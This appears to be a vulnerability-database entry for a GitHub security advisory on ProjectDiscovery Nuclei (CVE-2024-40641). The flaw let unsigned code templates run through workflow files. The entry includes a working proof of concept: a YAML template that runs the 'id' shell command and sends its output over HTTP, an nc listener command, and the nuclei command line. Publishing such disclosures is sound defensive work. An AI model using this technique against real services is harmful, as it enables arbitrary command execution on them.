ghsa-c3q9-c27p-cw9h
Vulnerability from github
8.8 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Summary
Find a way to execute code template without -code option and signature.
Details
write a code.yaml:
```yaml
id: code
info: name: example code template author: ovi3
code: - engine: - sh - bash source: | id
http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}}
{{code_response}}
workflows: - matchers: - name: t ```
using nc to listen on 80:
bash
nc -lvvnp 80
execute PoC template with nuclei:
bash
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
and nc will get id command output.
We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectdiscovery/nuclei/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-40641"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-17T19:32:23Z",
"nvd_published_at": "2024-07-17T18:15:05Z",
"severity": "HIGH"
},
"details": "### Summary\nFind a way to execute code template without -code option and signature.\n\n### Details\nwrite a `code.yaml`:\n```yaml\nid: code\n\ninfo:\n name: example code template\n author: ovi3\n\n\ncode:\n - engine:\n - sh\n - bash\n source: |\n id\n\nhttp:\n - raw:\n - |\n POST /re HTTP/1.1\n Host: {{Hostname}}\n\n {{code_response}}\n\nworkflows:\n - matchers:\n - name: t\n```\n\nusing nc to listen on 80:\n```bash\nnc -lvvnp 80\n```\n\nexecute PoC template with nuclei:\n```bash\n./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug\n```\nand nc will get `id` command output.\n\nWe use `-w` to specify a workflow file, not `-t` to template file. and notice there is a `workflows` field in code.yaml to pretend to be a workflow file.\n\nTest in Linux and Nuclei v3.2.9\n\n### Impact\nSome web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)\n",
"id": "GHSA-c3q9-c27p-cw9h",
"modified": "2024-08-20T14:57:15Z",
"published": "2024-07-17T19:32:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40641"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectdiscovery/nuclei"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "projectdiscovery/nuclei allows unsigned code template execution through workflows"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.